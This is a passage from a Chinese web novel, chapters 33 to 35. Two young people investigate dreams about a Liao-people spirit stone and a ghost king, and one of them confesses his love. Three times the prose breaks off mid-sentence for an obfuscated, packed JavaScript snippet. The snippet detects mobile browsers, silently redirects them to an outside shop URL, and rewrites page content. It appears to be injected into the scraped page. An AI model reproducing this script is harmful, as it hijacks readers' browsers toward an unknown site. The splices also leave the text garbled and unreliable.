但在这个梦里,仿佛自带了翻译功能,易无钦和郑咏絮清清楚楚明白首领大喊的内容: “集僚人之意志于灵石。” * 梦醒的第一时间,易无钦拿过早已放在床头的笔记本,快速将梦境记了下来,事无巨细。 记录完后,他仔仔细细回想,觉得还不够,于是又将梦中的场景画了下来。 灵石、僚人、河流、祭祀…… 完后,他将所有内容拍照发给郑咏絮。 郑咏絮看完后,马上给他回了信息,“你已经记录得非常详细了,但还忘了一个关键点。” “什么?” “为啥那个山洞一开始你进不去,而我带着你就能进去了?” 易无钦猛然想起,立即又在本子上补充,还不忘给郑咏絮发信息,“对哦,看来这是个关键点。” 郑咏絮直接打来了电话,“除了这一点,还有梦里反反复复出现了这个灵石。我觉得这也是一个重要的点。” “嗯,灵石。姜叔说过灵石在僚人文化里是个重要的存在。”易无钦翻起另一个专门用来记载僚人文化的笔记本。 郑咏絮想了想说,“鬼王是想告诉我们什么呢?这个灵石跟鬼王的关系是什么?” “你之前梦见灵石吸魂,这次那个首领又说灵石聚集了僚人的意志。难不成这个灵石就是鬼王?”易无钦推断道。 郑咏絮愈发疑惑,“怎么可能呢?” “为啥不可能?” 郑咏絮说:“就是一种直觉,感觉鬼王的做事风格和僚人的风格不大一样。” 易无钦看了看时间,现在才早上七点半,“等会上午我给姜叔打个电话好好问问吧,我把梦境跟他说说,请他分析。” 和郑咏絮通完电话后,易无钦没了睡意,干脆起床洗漱。 下楼时,金盛也起来了,正在扫地。 “哥,吃米粉吗?我去端两碗。” “好。” 没一会儿,旅馆门口多了两个蹲着吃米粉的人。 “哥,我瞧着你这卖特产的小门面整理得差不多了,啥时候开业啊?” 金盛头也不抬,“过两天就是清明节了,清明节开业。” 他看着易无钦说,“清明节你别出去吧,留下来帮我,节假日爆单了。” 易无钦自然答应,“好。” 金盛又说,“一会儿有人来送货,顺便送点纸钱香烛,咱们明天上庙坝去提前烧了。算是祭拜。” 易无钦一愣,忽然明白过来,这是为他爸妈烧的,“哦,好。” 33. 表白 看着时间差不多,易无钦给姜放打了电话。 “姜叔,昨天听了你的讲座,晚上我做了好奇怪一个梦。”易无钦详详细细把梦中内容告诉给姜放。 “呵呵呵,真有意思。小易,看来你确实应该接过你爸爸的衣钵。”姜放听了大笑不已。 “哎,姜叔,你说这僚人可真有意思。他们这个民族性格是个啥呢?”易无钦问道。 姜放说,“僚人很单纯的,直来直去,跟现在渝州人性格差不多。杜甫那首《示獠奴阿段》里面就写了一个胆子大虎豹都不怕,又很踏实质朴勤劳的形象。当然了,说难听点也有认死理一根筋的。有记载说一个僚人宁愿卖妻卖儿都要筹钱用祭祀杀仇人。你可以参考参考。” 易无钦想了想,又问:“那你觉得以这个族的文化,他们的首领,会不会布局来谋划什么事情?” “啥?”姜放一时没能理解。 易无钦解释道:“比如像一些小说或者电视剧里写的,这个神秘民族,有一些神秘仪式。通过仪式可以操控后代做某些事。完成了仪式就可以获得力量,然后首领就复活啦,长生不老啦……” “你小说看多了吧?这怎么可能?”姜放无语笑了。 易无钦沉默几秒,又问,“我就是假设。如果我要写小说,那种很悬疑很玄幻的小说。我写里面的大反派是僚人首领。因为僚族没了嘛,于是他暗中布局了一个几百年的大局,来复活这个民族。你觉得合适吗?” 姜放就着他的话认真思考了下,“我觉得不合适。还是那句话,僚人不是这样的性格。他们更直接,更烈性。” 他顿了下,又说,“我这里有本书,你空了来拿去看。这本讲的是僚人神话方面的。他们信奉的神明以及棺葬方式,都跟你说的大相径庭。希望这本书对你的构想有帮助。” 挂完电话后,易无钦将方才的聊天内容整理了一下发给郑咏絮。 郑咏絮估计在忙,只匆匆回了个“收到”的表情。 易无钦看着那个表情,又回想起昨晚的梦。除开那些怪诞的内容,还有很多绮丽的部分。 他的思绪朝着那些绮丽的片段飞去。在梦中,他们牵了手,还抱在一起了,甚至,他还对她说了,“我喜欢你。” 到底是梦啊,这么大胆。 如果是现实中,他敢说吗? 其实在现实中,身边的人都默认他们在一起了吧。他俩也就差捅破那层纸了。 易无钦知道自己挺喜欢郑咏絮,而她应该也是喜欢自己的吧? 但他们现在算什么?算共同对抗鬼王的战友? 他正胡思乱想着,忽然收到姜放发来的微信。 那是一首诗,杜甫的《示獠奴阿段》全文: 山木苍苍落日曛,竹竿褭褭细泉分。 郡人入夜争馀沥,竖子寻源独不闻。 病渴三更回白首,传声一注湿青云。 曾惊陶侃胡奴异,怪尔常穿虎豹群。「1」 易无钦逐字逐句细细品味着,杜甫写的这个阿段果然是个勇敢的、虎豹都不怕的僚人。 那自己呢,又在怕什么?怕她不喜欢自己?怕她是因为祭童的身份才接受自己? 想到祭童,易无钦忍不住抚摸自己脖子上那道红痕,像一道催命符似的。 管他呢,都不知道还能活几天。人生就该尽量减少遗憾。东北男儿就该大大方方。 他翻身而起,拿出手机给郑咏絮发了信息:“下班我来接你。” * 马上放清明假了,图书馆的事情并不多。 郑咏絮想着自己是新来的,平时大家都很照顾她,自己该主动做点事,于是自告奋勇去整理书架,把借书都归类。而且她想着今天把大部分工作做了,明天节前上班最后一天轻松很多。 对她来说,整理书架的工作看似辛苦实际上并不难做,甚至还有些解压的快乐。 当然了,其他同事觉得枯燥是因为大家的家庭条件都不错,人生没什么太大的烦恼。没几个人像她这样中了鬼王的彩票,有生命危险的紧迫压力。 等她弄好最后一排书架时,同事小胡却推着书架过来,“小郑,不好意思还要辛苦你了。” 小胡指着书架上的书对她说,“上次姜放教授开了讲座后,很多学生来借民族文化方面的书。我们学校图书馆里这方面的比较少,所以找县里图书馆和档案馆借了一些县志。辛苦你归个类放一下那边的书架,我去电脑上登记。” “好嘞。”郑咏絮一口答应下来,推着书架往另一处去。 她随手翻了翻,这些书更多是记载渝州和宾化的地方志,关于归望镇的非常少。只有建国后才开始丰富起来,尤其是关于三线建设的部分,较为详细。 这些对研究鬼王来说没啥用,可能易无钦会因为父母的关系感一些兴趣。 郑咏絮想起方才易无钦说要来等她下班,忍不住嘴角上扬,心里隐隐有些期待。 * 终于捱到下班了。 郑咏絮按压住有些激动的心情,慢慢地走出校园,显得自己不那么受宠若惊。 易无钦早早到了,正在门卫室跟保安们聊着天。 当看到郑咏絮时,保安们立即露出了揶揄的表情, “幸福哟,男朋友来接。” “好好过节促进下感情。” …… 郑咏絮红着脸催着易无钦走了。 “咱们去吃啥?”易无钦问,“上次那家串串香吗?” 郑咏絮摇头,“昨天才吃了火锅,串串香烧胃。” 她想了一下,“宾化老城区有家老烧烤很好吃,味道温和,我带你去吃。” 或许是因为快放假了,烧烤店生意好。幸好他俩去得早,等菜都上齐时,店外已经开始排队了。 “这么多人,看来真的很好吃。”易无钦透过窗子看外面一堆堆人。 “那当然,我推荐的有错吗?”郑咏絮得意地说。 易无钦笑了笑,将可乐拉罐打开插上吸管递给她。 郑咏絮喝了几口,拿起烤豆腐皮吃,“对了,你今天怎么来接我呢?是想交流昨晚那个梦吗?” 易无钦一愣,摸了摸装兜里的东西,迟疑道:“啊,对,交流交流先。” 郑咏絮放下豆腐皮,“我和你这几次梦吧,都有这个大石。大石肯定很关键。” “集僚人意志于灵石。”易无钦反复念叨梦里首领这句话,“我突然有一个想法,是不是毁掉这个灵石,僚人意志就不存在了?” “毁掉大石?”郑咏絮被这个想法吓了一跳,又想起梦中被吸进去的金海军和郑飞。 易无钦说,“如果大石会吸魂魄,那它是不是就是鬼王力量的来源?” 郑咏絮瞧了瞧四周,好在并没有人注意他们,“那我们也会被这个大石吸走?” “可能是。” 郑咏絮继续说,“那是不是,咱们去毁掉大石,就能破除这个命运了?” 易无钦想了一想,觉得很有道理,“可能真的是这样,说不定,还能释放出金海军和郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571899|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞的灵魂,让金海军安息,让郑飞变正常。” “那这大石在哪儿呢?”郑咏絮问,“姜教授会知道吗?” 易无钦摇头,“他不知道,而且他觉得从僚人的文化和性格来说,不会布这样的局。” 郑咏絮叹道:“那个大石一会儿在山洞里,一会儿在水里。真是难找。” 两人顿时有些泄气。 易无钦安慰她,“至少咱们还是有收获,再研究研究,去山上跑跑,说不定还能有线索。” 郑咏絮点点头,又拿起刚才的豆腐干吃,“你清明节有啥安排吗?” 易无钦吃着肉串说,“金盛哥店里会很忙,我要帮他。不过明天上午他会陪我去庙坝烧纸。” “烧纸?”郑咏絮略惊讶,很快又明白了,“哦。我要上班,你帮我也上柱香。” 吃完烧烤后,两人慢慢散步。 “今晚好像没昨晚那么冷了。”郑咏絮感慨。 易无钦罕见地没有接她的话,他摸着兜里的盒子,心里在不断给自己打气。说吧,说吧,就四个字,就像梦里那么大胆。 郑咏絮奇怪他的沉默,扭头不解地看着他。 身边突然跑过一群嬉戏的小朋友,跑向不远处的广场。二人的注意力随之也被引向了广场上。 广场上有很多人,散步的,玩耍的,跳坝坝舞的,到处都闹哄哄,比昨晚热闹多了。那些夹在一起的声音,好像把他俩的思绪都影响了。 这么闹,适合表白吗?会不会她根本听不清自己说的话?要不换个时间吧? 但是,姥姥告诉过他,做事最重要的是一鼓作气,第一次机会最重要,如果再一次难度就会倍增。 就在他反复纠结时,两人不知不觉走到了广场边上,十米外就是正在跳坝坝舞的叔叔阿姨们。 他们跳的歌曲听起来应该是90年代的韩宝仪、徐小凤们唱的,内容反正是跟爱情有关。 这仿佛就是天然的背景音乐,没有比此刻更合适的。易无钦在心里这样想。 “咏絮,我觉得有些话应该当面跟你说清楚。”易无钦鼓起勇气开了口。 好在,坝坝舞的音响并没有影响他的声音,郑咏絮面露不解看着他,“什么?” 易无钦认真地看着她,语气坚定,“我喜欢你。” 他拿出兜里的盒子,将它打开,里面是一朵小巧的玫瑰花,用纯金做的。“送你的。” 这是他中午吃了饭后就去宾化县里最大的金店选的,他一眼就挑中了这朵小玫瑰花。它不是首饰,而是一个小物件。他凭直觉觉得郑咏絮会喜欢。 郑咏絮确实也很喜欢这朵小玫瑰,她红着脸接过来爱不释手,“你干嘛又乱花钱,你都没正式工作呢。上次你就送了我金坠子,我妈还说我不要随便收别人贵重的东西。” 易无钦笑得很开心,“可我不是别人。你喜欢就好。”他停顿了下,又说,“我这也不算乱买东西。这是纯金,保值的,以后金价涨了它就升值了。姥姥和殷姥姥聊天时我听到的,买金最划算。” 郑咏絮扑哧一笑,“说起来你还挺有头脑,懂持家。” 易无钦嘿嘿笑着,“是呀,姜叔说得对。我有了喜欢的女孩子,就要好好考虑将来。” “将来……”郑咏絮低头看着小玫瑰。 “我们会有很好的将来。”易无钦坚定地说。 夜色朦胧,两人不再说话,继续朝着车站的方向慢慢走去。郑咏絮伸出左手,轻轻放进易无钦的手心。就像梦里那样,两人紧紧牵手前行。 34. 线索 次日一早,金盛将店托给父母,开车带着易无钦上庙坝去。还不忘给老吴带点水果粮油之类的礼物,算是看望老人了。 在上次那个山崖附近,金盛拿了半个土豆当托底,帮易无钦插了几只香上去。易无钦将一叠叠黄纸展开,用打火机引燃。 他一点一点将纸钱朝火堆里扔,火舌很快将黄纸烧成灰烬。山顶有微风,将那些灰烬带起,不知吹向什么地方。 金盛拿着棍子拨弄火堆,“虽然这个季节山上还是比较潮湿。但是我们要看着这堆纸钱烧完,不然留下火星子不小心引起火灾了就不好。” “哥,这片山你熟悉吗?”易无钦冷不丁问到。 金盛看了看周围,“不大熟,我们矿区不在这块。” 易无钦没说话,继续往火堆里丢纸钱。 金盛看着他手里的纸钱,明白他在想什么,叹了口气,“你别老想着要去找你爸爸。我跟你说了,这一片没怎么开发,算是深山老林。你没什么在山里生活的经验,去了很危险。” 他顿了顿,又补充,“我也不会帮你,这块我也不熟悉。我不准你去。真的,这些地方我都没去过,根本不了解。” “你说啥?”易无钦突然抬头看他。 金盛一愣,重复了一下,“我说,我没去过的地方,我不了解。” 易无钦恍然大悟,使劲拍了下大腿,“我明白了,原来是因为没有去过!” * 还有三个小时就下班放假了,郑咏絮坐在工位上百无聊赖。 她今天上班本就心不在焉,脑中全是昨天晚上的情景。 那只小玫瑰金子被她盘了一晚上,最终郑重其事地放进了衣柜的抽屉里,专门放置她的贵重物品的地方。 她觉得自己其实也是喜欢易无钦的。那样又高又帅,对她又温柔还围着她转的男孩子,喜欢上很正常吧。 多么好,这是段双向奔赴的爱情。 郑咏絮发现,易无钦的表白让她心中对祭童的执念也释怀了。 其实她的人生是比较圆满的。家里算是小有钱,从小衣食无忧,父母长辈都疼爱,现在又有了个相爱的男朋友。 哪怕她有一出镇就过敏的毛病,除了东北那次,就没怎么见过祖国的大好河山。但也算不上太大的遗憾。 跟很多同龄人比起来,她仍然是幸运的。 郑咏絮长出一口气,从今天开始,再也不纠结命运公不公平了。该来来,该抗争抗争。 电话忽然响起,郑咏絮一看,是伯父郑高志打来的电话。 她撇了撇嘴,冷哼一声。对于伯父抛舍亲情的行为,她还是不大能原谅。 郑咏絮拿着电话往外走,找了个无人的地方,这才懒懒接起。 “喂,伯父,怎么了?” 郑高志不知道在什么场合,声音压得很低,“雪雪,我给你讲个事。” “嗯,你说。” 郑高志神神秘秘地说,“这几天,金万堂天天都在下矿。” “下矿?”郑咏絮大惑不解,“他那么大年纪了还下矿?” 郑高志说,“对,他去矿洞里。” “去哪里的矿洞?” “我们矿区的矿洞他都去。不止是现在还开着的,就连已经封了的,他都下去了。”郑高志说。 郑咏絮越发疑惑,“他去干了啥子?” 郑高志语气迟疑,“没干啥,他就到处走走看看,到处看。专门去矿洞深处看。” “他一个人?” “倒也没有,毕竟那么大把年纪了。我不好跟着他,所以让其他人跟着的,给他打亮。人是我信得过的,一五一十跟我汇报了。他就是到处看,啥子话都没说。”郑高志说。 “这些矿洞里有啥子?” “没啥子,就是煤矿。他也就是看,没翻出个宝来。” “哦,这样啊。”郑咏絮神色凝重。 郑高志听她没说什么话,犹豫地问,“雪雪,这些信息有用没得嘛?” 郑咏絮想了想,决定先稳住他,“应该有用,我要好好想想,分析一下他要是在干啥。谢谢伯父。” 挂了电话,郑咏絮一个人在角落里待了好一阵。郑高志说的肯定是个重要信息。金万堂这么大年龄,早就不下矿了。他肯定不是为了煤矿下去的。 他肯定是因为鬼王下去的。 他去干啥呢?光是看,又不说话的。 那些矿洞里也就是石头嘛,没啥特别的。 郑咏絮沉下心来,细细在脑海中分析。 金万堂跟他们一样都是祭童,那他也一样,通过梦境的方式跟鬼王沟通。 她回想起那几次做梦,都是因为白天听了僚人的事情,日有所思夜有所梦。 看来做梦不是想做就做,要有一定条件。 那么,金万堂下矿就是要发生这个条件。 那他今晚一定要做梦。 想到这儿,郑咏絮赶紧看了看时间。今天是放假前一天,学校下午会提前放,这个点金小萍应该放学了。 她给金小萍打去电话,那头很快接了。 “喂,咏絮姐姐。” “小萍,你放学了,现在是要回归望镇吗?” “嗯嗯,我马上上客车了。”金小萍在车站,周围有点闹。 郑咏絮看了看四周无人,仍然压低了声音,“你帮我个忙,帮我观察下万堂公公。” 她想了一下,又说,“尤其是明天早上他起床后,有没有什么奇怪的。” “哦哦,好的。”金小萍虽然不明白具体意思,但仍然一口答应了下来。 电话刚挂,易无钦的电话就来了。 “咏絮,我刚刚一直在忙。等下我去接你下班。”易无钦在电话那头说道。 郑咏絮心中一阵甜蜜,赶紧说,“别别,我待会坐交通车回去。你就好好帮金盛的忙。” “没事,我跟金盛哥说好了,现在忙过了。” 郑咏絮仍然推脱,“哎呀,交通车很方便的。你不用跑一趟。” 易无钦也不再坚持,“那晚上一起吃饭?” 郑咏絮笑了,“今晚家里要来亲戚,我妈还叫我早点回去呢。” “哦,”易无钦失望之意十分明显。 郑咏絮见他沉默,轻声笑了,“明天我去店里找你。” “嗯嗯。”易无钦又高兴起来。 “哦,对了,”他想起自己要说的话,“我今天去山上烧纸,想通了一件事。” “什么事?” 易无钦说,“你记得在梦里,进山洞的时候,为啥一开始我进不去,而你能带我进去?” “啊,为啥?” “因为那个老龙洞,我没去过但是你去过。哪怕是鬼王,也不能让我去我没去过的地方。”易无钦语气里有些兴奋,“你想想,你在梦里去的是不是都是你去过的?而我要在你的带领下才能去我没去过但你去过的地方。” 郑咏絮闻言就是一愣,脑中电石火光,像放鞭炮一样,噼里啪啦将一条线串了起来,脱口而出,“我知道金万堂在干嘛。” 她赶紧跟易无钦说了郑高志打电话的内容,“怪不得金万堂要下各个矿洞去看,就是为了做梦能去多一点的地方呢。” 她一推理就滔滔不绝,“怪不得呢,伯父说以前金万堂就爱下去到处走走看看,不仅能找到好矿,还能预判一些危险。看来是鬼王根据他去的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576916|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方给他提示呢。” “他这次又会得到什么提示呢?” * 晚上送走来吃饭的亲戚后,郑咏絮和宋兰芳一起收拾厨房。 今晚来的亲戚是郑咏絮的姨妈家。姨妈、姨父、表哥,还有一个男生据说是表哥的朋友。 那个朋友叫小陈,在宾化县医院当医生,比郑燕大一岁多。 “妈,那个小陈为啥来咱家吃饭啊?”郑咏絮好奇问。 宋兰芳正在用洗碗布擦干碗碟的水渍,面不改色回答,“你们都是年轻人,多认识认识就是多个人脉。人家在县医院,以后看病也可以帮忙。” “怕是没得这么简单哟,我还不晓得你和伯母呀?”郑咏絮“呵呵”笑道,“是不是想介绍给姐姐?” 宋兰芳毫不意外女儿能猜到,她低声笑道:“你觉得小陈跟你姐姐合不合适?” “合适,太合适了!”郑咏絮立即回答,“长得还不错,而且医院工作也稳定。姨妈说他家里是渝州的,那就是本地人。可比那个小张好多了。” 她一边摆放碗碟一边说,“妈,我是没跟你们说一些事。那个小张,在我们学校口碑不太好。有同事跟我说,他跟女学生勾勾搭搭的。我上次跟姐姐说,提醒她注意下,她还不高兴呢。” “那个小张,反正我是看不上的。你伯母也不喜欢他。”宋兰芳撇嘴。 郑咏絮没说话了,她在心里默默盘算着,该如何帮姐姐斩断这段家人都不看好的孽缘。 * 今晚郑燕的心情有些烦闷,倒不是因为晚上这顿饭。 虽然那是郑咏絮的姨妈一家,但因为经常来往,她也算比较熟悉,所以这顿饭并没有让她觉得奇怪。甚至那个小陈也没让她察觉出什么意味。 她烦的是,为了让家里人更接受小张,她跟小张说了好几次,趁着清明节假日来家里吃个饭。但小张总是找借口推脱。 她很生小张的气,赌气两三天都不理他。 而今天白天,小张主动打来了电话。她本来还很高兴,以为他主动低头。结果小张只是让她帮忙找书,说是一个学生的妹妹明年要高考,但一些教材丢了,看她这里有没有全套的。 郑燕仍然还在生气中,小张却丝毫没有哄她的意思。她本来气冲冲挂了电话,不想理会他。但终究还是心软来书房找书。 毕竟那个学生的妹妹是无辜的,应该帮助人家好好读书。郑燕如此安慰自己。 高中那些教材都没有扔,被杨欣收到书房了。 书房里的书大部分都是她的,郑高志和杨欣的比较少。郑燕很快就从下面的书柜最深处,发现了自己从小学到大学的所有教材,都被杨欣整整齐齐地放着。 郑燕伸手想将高中的教材拖出来,刚碰到书却缩回了手。 她还是很生小张的气,不想这么快告诉他找到了全套教材书。 郑燕一屁-股坐在地上,盯着那些教材书发呆。 过了好一会儿,她回过神来,心想今天是不可能给小张发信息的,于是伸出手去准备关上书柜门。 书柜门却有点关不拢,像是里面有什么东西卡住了。郑燕疑惑地又打开,看了看那些码放得整整齐齐的书,应该不会卡住门才对。 她伸出手去,沿着柜门摸向书柜壁,摸了两遍,终于找到了卡门的东西。 一个老旧的笔记本。 它之所以会卡住门,应该是最近被人拿出来过,只是放回去没放好。 郑燕把笔记本抽出来,发现它的封面是跟书柜一样的深褐色,难怪刚才没发现。 笔记本封面已经褪色了,但上面的字还能认出来: 1967年,支援工业建设纪念。 35. 寻石 心里藏着事,金小萍一晚上都没睡好。 眼见天蒙蒙亮,她再也睡不着,立即起床。 她的房间是整个顶楼,有卧室、衣帽间还有专用的书房。 楼下一层是金万堂住的,跟她的顶层一样的格局。 金小萍悄悄来到卧室外面的阳台,这里是唯一能听见楼下那层动静的。 除了夏季和冬季,金万堂睡觉一般都喜欢开着阳台的门,金小萍也是偶尔在阳台上听见他在房间里打电话的声音,才发现这一点。 金万堂年纪大了,一般都醒得早。金小萍看了看时间,估计还有半个小时他就起床了。 下面传来轻微的鼾声,金小萍耐心地等着。 可今天金万堂有点反常,没在平时的时间起来。 金小萍看着时间流逝,心里越发着急,不知道是不是真如郑咏絮所说,今早的确有事。 她不明白到底是啥事,也怕金万堂年龄大了出意外。想去喊住家保姆吴妈,又怕一走开金万堂就起来了,只能安静地等。 一晚上没睡好,这会儿又一直是精神集中状态,金小萍感觉自己很疲惫,上下眼皮不停打架。她使劲掐大腿,努力让自己保持清醒。 这样下去不是办法,金小萍听着楼下的鼾声,下定了决心跑到楼下去,轻声敲门,“公公,公公,你起床没得?” 楼下吴妈听到动静上来,“小萍,怎么了?” 金小萍说,“我记得公公一般起来得很早,但现在都快九点了他还没起床。我担心他是不是出事了。” 吴妈被她一说,也提心吊胆起来,口中却还不忘安慰,“不得不得,金老板偶尔也会起来得晚。” 话虽这样说,她还是跟着金小萍一起敲门。 不一会儿,门打开了,金万堂睡眼朦胧问她们干啥子。 “呀,公公,你还好吗?你这么晚都没起床,我们担心你。”金小萍小心翼翼解释。 金万堂摆摆手,“我没事,昨晚一直在做梦,没睡好。” 吴妈闻言放下心来,连声说她去准备早饭了。 金小萍想起郑咏絮的嘱咐,假装不经意地问,“做梦?啥子梦让你没睡好啊?” “哦,怪七糟八的梦。梦到一直在找大石头。”金万堂随口回答。 “啊?找大石头?”金小萍假装好奇。 “没事了,你先下去吃早饭嘛,我洗漱完就下来。”金万堂一边说一边要关门。 金小萍只好识趣地让开。 在金万堂快关上门时,她听到他低声嘟哝了一句,“我他妈的怎么知道那个大石头在哪里。” * 今年清明节的天气倒是挺好,出了大太阳。又因为还是在春季,不冷不热的,是最舒服的天气。连归望镇一向肆掠的大风,都收敛了很多。 金盛的特产小卖部开业了,来的游客多,生意也很好。 易无钦早早就起来帮忙了,一上午脚不沾地。连郑咏絮来了也没能好好说话。 郑咏絮也不恼,在旁边帮着上架装货。 店里一直忙到下午才稍微松口气。 金盛不好意思笑笑,“今天辛苦你们了,晚上请你们吃烧烤。” 说完又来了住宿的,他赶紧去招呼。 易无钦去广场上买了珍珠奶茶和炸串给郑咏絮。 “都是高热量的东西,吃了会胖。”郑咏絮笑嗔着接过来吃。 易无钦笑着说,“你太瘦了,胖点好。” “我看你虽然才来了一个月,但已经很融入这里了。要不是你说话东北口音太重,说你是当地人都没人反对。”郑咏絮说。 “毕竟我小时候也是在这里生活过。”易无钦回答。 他又说,“昨天金盛哥还说呢,叫我就留在这里,和他一起开旅馆。” 郑咏絮边吃里脊串边说,“可以呀。现在归望镇的旅游慢慢起来了,上次郑元说还有老板想开发鬼王山上面,以后来的人会更多。” 她又说,“上次姜教授还叫你考宾化的事业编。” 易无钦笑了,“还有上次郑元说要开公司叫我去上班当设计。” 郑咏絮安静地吃完里脊串。 “那你,想留下来吗?” 易无钦转头,看见一双大眼睛看着他,那双眼里有期盼和不确定。 他握住郑咏絮的手,认真地说,“嗯,留下来。” * 等闲下来的时候,易无钦给姜放打了个电话。 “叔,我想多了解下僚人的灵石。” “哦,”姜放问,“灵石我之前跟你说了不少。你是想具体了解啥?” 易无钦想了想,“我想了解,僚人的灵石是啥形状?” 姜放:“没啥固定的形状。” 他缓缓解释,僚人有很多个部落和支系,每个族群崇拜的灵石也不一样。大多是那种形状奇特的天然石头,会被他们视为“通灵石”,蕴藏巨大的灵力。 “形状奇特?”易无钦瞬间想到了鬼王山上那块归望石,“叔,你见过归望石没?那算不算形状奇特?” 姜放立即否定了,“那不算。那个形状差远了。” “啊,为啥?” 姜放耐心解释,“一般是卵状或者柱状的,才是他们用来崇拜的。因为僚人认为这是生殖崇拜的具像化。你还记得吧,生殖崇拜在僚人文化里是很重要的一部分,他们甚至很多崖刻石刻都是这个题材。” 他又说,“你知道吧,西南这边是喀斯特地貌,奇形怪状的石头也多。他们能拿来当部族灵石的还挺多。这种石头有大有小。大的吧,也挺大。那种天然石穴或者石台也能算,他们把棺木放在上面,视为灵魂能通过石头通天。小的就石块,手掌大小的也有。” 易无钦想起他和郑咏絮梦中所见,那算是大灵石了。 “那他们一般把灵石放在哪里?祭台吗?”他又问。 姜放继续科普,灵石在僚人生活中到处都用。从创世神话的起源到死后通天的容器,不仅是僚王权威的信物,还是巫祝与祭祀的法器。甚至农耕时,将灵石放在田头,便能祈求五谷丰登。 “当然,一般都是僚王或者大巫祝收着的。不过呢,古代嘛,战争多。僚人内部也不例外。如果一个部族战败了,就要将灵石献给战胜部族。所以灵石也算是经常流通的。” 易无钦听着,感觉僚人的灵石确实很难找。 “哦,对了,叔。你在博物馆上班,又是研究僚人文化的。你那里有没有灵石?”他随口问了一嘴。 姜放说,“我们博物馆有一对僚王的鼓角,鼓座是石头的,这个角和石座整体构成了象征王权和军权的灵石。你空了可以来看看。” 易无钦心跳快了一拍,还真有,瞬间有些激动,“行行行,我过两天就去看。” 挂了电话后,易无钦和郑咏絮你看看我,我看看你。 “咱们梦了那么多次的灵石,居然就在博物馆?”郑咏絮难以置信。 “什么叫众里寻她千百度,柳暗花明又一村?”易无钦激动得声音都有些颤抖,“我甚至在想,咱们遇到的这些事儿,是不是该早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582422|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点告诉姜叔?” “他能信这些神神鬼鬼的吗?”郑咏絮摇摇头,“不过那不重要。重要的是灵石。” “咱们什么时候去看?”易无钦问她。 郑咏絮指指店内,“你这两天走得开吗?” “我跟金盛哥说说……” 郑咏絮打断他,“没事,不急这两天。” 她停顿了下,想起上午金小萍告诉她的事情,“鬼王给金万堂托了梦,他也在找灵石。” 易无钦平复了心情,认真思考了一下,“金万堂是开煤矿的,这鬼王山他去的地方也不少。但他却从未找到过灵石。难道原因在于,灵石在綦江博物馆放着,所以他和鬼王都找不到?” “那可不好说。我记得教授说过,僚人也分很多支系。归望镇的是南僚,跟綦江的僚人可能不是一个支系。”郑咏絮越说心里越没底,如果不是同一支僚人,那就意味着姜放说的那个灵石根本不是他们要找的那个。 不过,如何判断哪块石头是他们要找的灵石,这也是个大问题。 两人刚刚激动起来的心情,此刻又低落下去。 郑咏絮将眼神放空,无目的地看向远方,心里一阵茫然。 易无钦见她不说话了,顺着她的目光看去,发现那前方是五六-四厂的方向。 “好几天没去看郑飞了,忙过这几天去看看他和婆婆。”易无钦说。 郑咏絮听后忽然受到了启发,坐直了身体,刚刚还放空的目光顿时炯炯有神,“咱们,是不是可以带上郑飞去检验灵石的真伪?” 她跟易无钦解释,在梦里,郑飞和金海军都是被灵石吸走了灵魂。那么只要靠近真正的灵石,郑飞说不定会有反应。 易无钦听后却没有说话。他亲眼见了郑飞如今失魂落魄的状况,如果真如郑咏絮所说,那郑飞再次靠近灵石,会不会被吸走剩下的灵魂? “如果郑飞真有反应,那么我俩作为祭童,靠近灵石岂不是更危险?” 郑咏絮一听也沉默了。 过了一会儿,她又问,“那咱们还去看博物馆的灵石吗?” 易无钦说,“去,你说过的,一静不如一动。咱们总要做点事。” * 等晚上吃上烧烤的时候已经是九点多。 “今天确实忙惨了,这几年还是好起来了。”金盛感慨。他接手家里旅馆的时候,收入远不如下煤矿。但煤矿关的关停的停,而且也很危险,父母本就不赞成他去矿上上班。现在旅游起来了,收入也渐长,确实也是好日子来了。 郑咏絮嘻嘻一笑,“事业好起来了,你就该娶老婆了。” “哎呀,你俩谈上了就来消遣我了。”金盛哈哈一笑。 郑咏絮继续说,“要不要帮你留意下我们学校的老师?” 金盛不以为意,“你们学校的老师条件那么好,能看上我这样的乡巴佬?算了算了,高攀不上。” 说话间,烧烤端上来了,三人开始享受美味。 “雪雪,你下个周末有没有时间?”金盛问道。 郑咏絮吃着肉串回答,“我们要去綦江找姜教授,就一天。怎么了?” 金盛说,“如果天气好,我想带你们去庙坝那个山崖徒步。” “去庙坝徒步?”易无钦一惊,“你不是说那里很危险,不让我去吗?” 金盛吃完一串肉串,放下竹签签,“越不让你去你越想去。与其你悄悄去更危险,还不如我带你去。那里有一条路是老路,可以走,不危险。” “哦哦,好的,谢谢金盛哥。” 36. 笔记 